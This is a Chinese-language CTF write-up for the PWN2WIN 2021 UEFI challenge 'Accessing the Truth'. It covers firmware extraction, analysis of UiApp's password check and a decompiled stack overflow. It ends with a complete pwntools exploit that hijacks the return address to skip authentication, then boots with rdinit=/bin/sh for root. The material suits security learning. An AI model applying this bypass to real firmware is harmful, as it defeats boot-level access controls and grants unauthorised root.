解决第一个UEFI PWN——Accessing the Truth解题思路

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发布时间 : 2021-06-25 14:30:56

 

前段时间打了场PWN2WIN,期间遇到了这道BIOS题,正好来学习一下UEFI PWN

题目包含下列文件

 

题目分析

run.py是题目给的启动脚本

#!/usr/bin/python3 -u
import random
import string
import subprocess
import tempfile

def random_string(n):
    return ''.join(random.choice(string.ascii_lowercase) for _ in range(n))

def check_pow(bits):
    r = random_string(10)
    print(f"hashcash -mb{bits} {r}")
    solution = input("Solution: \n").strip()
    if subprocess.call(["hashcash", f"-cdb{bits}", "-r", r, solution],
                       cwd="/tmp",
                       stdout=subprocess.DEVNULL,
                       stderr=subprocess.DEVNULL) != 0:
        raise Exception("Invalid PoW")

#check_pow(25)

fname = tempfile.NamedTemporaryFile().name

subprocess.call(["cp", "OVMF.fd", fname])
try:
  subprocess.call(["chmod", "u+w", fname])
  subprocess.call(["qemu-system-x86_64",
                   "-monitor", "/dev/null",
                   "-m", "64M",
                   "-drive", "if=pflash,format=raw,file=" + fname, 
                   "-drive", "file=fat:rw:contents,format=raw",
                   "-net", "none",
                   "-nographic"], stderr=subprocess.DEVNULL, timeout=60)
except:
  pass

subprocess.call(["rm", "-rf", fname])
print("Bye!")

注释掉pow,直接启动。启动起来是一个低权限用户的linux虚拟机,目标是获取根目录下flag.txt的内容,典型的内核题

仔细看启动命令,貌似没加载任何可疑的虚拟设备,排除掉QEMU逃逸

解开contents/initramfs.cpio,看到init文件。这里有一条mount -t efivarfs efivarfs /sys/firmware/efi/efivars,怀疑是UEFI PWN

另外,启动脚本里有60秒的timout,需要把这里干掉

 

解开OVMF

找到一个工具UEFITool能打开OVMF.fd,里面的文件貌似是PE32格式

binwalk也能识别出来是PE,无奈还是解不开,继续找工具

发现这工具能解开:UEFI Firmware Parser

uefi-firmware-parser -ecO ./OVMF.fd

解开后发现一堆pe raw文件

 

定位到UiApp

既然是BIOS PWN,那就先进BIOS吧,启动时连按F12就进来了。

进BIOS以后有一个密码校验,过了应该就能进BIOS。此外,还发现了以下一些信息

拿UEFITool能搜到些信息

这里的id貌似能跟进BIOS的id对得上,这个应该是GUID

在解开的文件里搜462CAA21-7614-4503-836E-8AB6F4662331,找到了这个目录

IDA打开section0.pe,分析完以后这里选Unicode

查找字符串,就能看到Enter Password:,可以确定section0.pe就是UiApp这个登录校验程序

 

静态分析

校验程序有个sha256

漏洞点在:\n不会让while循环break掉,同时index不断自增1,buf = &input_buf[index];获取到的栈地址继续往后延,这样可能会覆盖到返回地址

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // rsp
  void *v4; // rsp
  __int64 v5; // rdx
  __int64 v6; // r8
  __int64 v7; // r9
  size_t v8; // rdx
  __int64 v9; // r8
  __int64 v10; // r9
  char *buf; // rdx
  unsigned __int64 v12; // rax
  __int64 v13; // rdx
  __int64 v14; // r8
  __int64 v15; // r9
  char v17[7]; // [rsp+20h] [rbp-60h] BYREF
  char c; // [rsp+27h] [rbp-59h]
  char *input_buf; // [rsp+28h] [rbp-58h]
  __int64 v20; // [rsp+30h] [rbp-50h]
  char *v21; // [rsp+38h] [rbp-48h]
  __int64 v22; // [rsp+40h] [rbp-40h]
  size_t v23; // [rsp+48h] [rbp-38h]
  unsigned __int64 v24; // [rsp+50h] [rbp-30h]
  __int64 index; // [rsp+58h] [rbp-28h]

  v24 = 0i64;
  index = -1i64;
  v23 = 32i64;
  v22 = 31i64;
  v3 = alloca(32i64);
  v21 = v17;
  v20 = 31i64;
  v4 = alloca(32i64);
  input_buf = v17;
  wputs(word_1395A, 15i64, 32i64, 0i64);
  while ( v24 <= 2 )
  {
    sub_9D3(input_buf, v23, 0i64);
    index = -1i64;
    wputs(L"Enter Password: \n", v5, v6, v7);
    while ( 1 )
    {
      c = getchar();
      ++index;
      if ( c == '\r' )
        break;
      if ( c != '\n' )
      {
        buf = &input_buf[index];
        *buf = c;
        wputs(L"*", buf, v9, v10);
        v12 = wstr_length(input_buf);
        v8 = v23 - 1;
        if ( v12 >= v23 - 1 )
          break;
      }
    }
    wputs(L"\n", v8, v9, v10);
    sha256_process(input_buf, index, v21);
    if ( !((__int64 (__fastcall *)(char *, void *, size_t))memcmp)(v21, &unk_1B840, v23) )
      return 1;
    wputs(L"Wrong!!\n", v13, v14, v15);
    ++v24;
  }
  return 0;
}

UiApp没开ASLR和NX,溢出后直接在栈执行shellcode即可

 

Debug

启动脚本

from pwn import *

context.arch = "amd64"
context.log_level = "debug"

tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

DEBUG = 1

if DEBUG == 0:
    fname = "/tmp/test_uefi"
    os.system("cp OVMF.fd %s" % (fname))
    os.system("chmod u+w %s" % (fname))

    p = process(["qemu-system-x86_64", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",
                    "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})
elif DEBUG == 1:
    fname = "/tmp/test_uefi"
    os.system("cp OVMF.fd %s" % (fname))
    os.system("chmod u+w %s" % (fname))

    p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",
                    "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})
elif DEBUG == 2:
    p = remote('accessing-the-truth.pwn2win.party', 1337)

def exploit():
    p.recvn(1)
    # sleep(1)
    p.send("\x1b[24~")

    p.irt()

if __name__ == "__main__":
    exploit()

启动脚本加上-s参数,进BIOS以后gdb attach上

问题就是怎么拿到UiApp的加载地址?尝试在gdb里搜这段数据

找到三个地址,这里的0x28ba990比较可疑

减去Enter Password:的offset,即0x28ba990-0x13990 = 0x28a7000,然后以0x28a7000为基址查看main函数的代码

可以断定0x28a7000就是UiApp的加载基址

0x28a7000修正IDA分析的基址

在IDA打上断点,给UiApp发以下数据

def exploit():
    p.recvn(1)
    # sleep(1)
    p.send("\x1b[24~")

    #print(p.recvuntil("Password"))

    pause()
    p.sa('Password', 'A'*2+'\n'*2+'B'*0x18+'\r')

    p.irt()

由于'\n'*2,buf跳过了两个byte的地址,因而发送足够多\n便可溢出到返回地址

 

Hijack to BIOS Booting

&buf = 0x3EBC650距离返回地址0x3EBC6F0-0x3EBC650+8 = 0xa8byte

这样构造便能覆盖到返回地址

payload = b'\n'*0xa8 + p32(0xdeadbeaf)
payload += b'\r'

控了rip以后,需要将rip劫持到BIOS正常启动的代码,这片代码便是过了校验后启动BIOS程序

对应的汇编代码,尝试劫持到0x28B0DD5

另外,发送/r会导致break while,只要令v25>=3即发送三次\r便能跳出外层while并return。

现在已经看到能启动到BIOS了

但pwntools连接的图形操作还有问题,可以用socat来连

socat -,raw,echo=0 SYSTEM:"python ./solve.py"

进入BIOS,增加一条启动项,启动内容加上rdinit=/bin/sh,保存后选该启动项来启动系统

启动进入到系统,现在已经是root权限

打远程

 

Script

完整EXP

#socat STDIO,icanon=0,echo=0 SYSTEM:"python ./solve.py"
#socat -,raw,echo=0 SYSTEM:"python ./solve.py"

from pwn import *

context.arch = "amd64"
#context.log_level = "debug"

tube.s = tube.send
tube.sl = tube.sendline
tube.sa = tube.sendafter
tube.sla = tube.sendlineafter
tube.r = tube.recv
tube.ru = tube.recvuntil
tube.rl = tube.recvline
tube.rn = tube.recvn
tube.ra = tube.recvall
tube.rr = tube.recvregex
tube.irt = tube.interactive

DEBUG = 1

if DEBUG == 0:
    fname = "/tmp/test_uefi"
    os.system("cp OVMF.fd %s" % (fname))
    os.system("chmod u+w %s" % (fname))

    p = process(["qemu-system-x86_64", "-s", "-m", "64M", "-drive", "if=pflash,format=raw,file="+fname, "-drive",
                    "file=fat:rw:contents,format=raw", "-net", "none", "-nographic"], env={})
elif DEBUG == 1:
    p = remote('accessing-the-truth.pwn2win.party', 1337)

def pass_pow():
    p.ru('hashcash -mb25')
    hash = p.rl().strip()

    cmd = 'hashcash -mb25 '+hash.decode(encoding="utf-8")
    res = os.popen(cmd)
    cash = res.read()
    res.close()

    p.sa('Solution:', cash)

def exploit():
    pass_pow()

    p.rn(1)
    p.s('\x1b[24~'*10)

    #pause()
    #p.sa('Password', 'A'*2+'\n'*2+'B'*0x18+'\r')
    #payload = 'A'*2+'\n'*2+'B'*0x18+'\r'

    #payload = b'\n'*0xa8 + p32(0xdeadbeaf)
    #payload += b'\r'

    payload = b'\n'*0xa8 + p32(0x28b0dd5)
    payload += b'\r'

    #pause()
    p.sa('Password', payload)

    payload = '\r'
    p.s(payload)
    p.s(payload)

    p.irt()


if __name__ == "__main__":
    exploit()

本文由sung3r原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/243007

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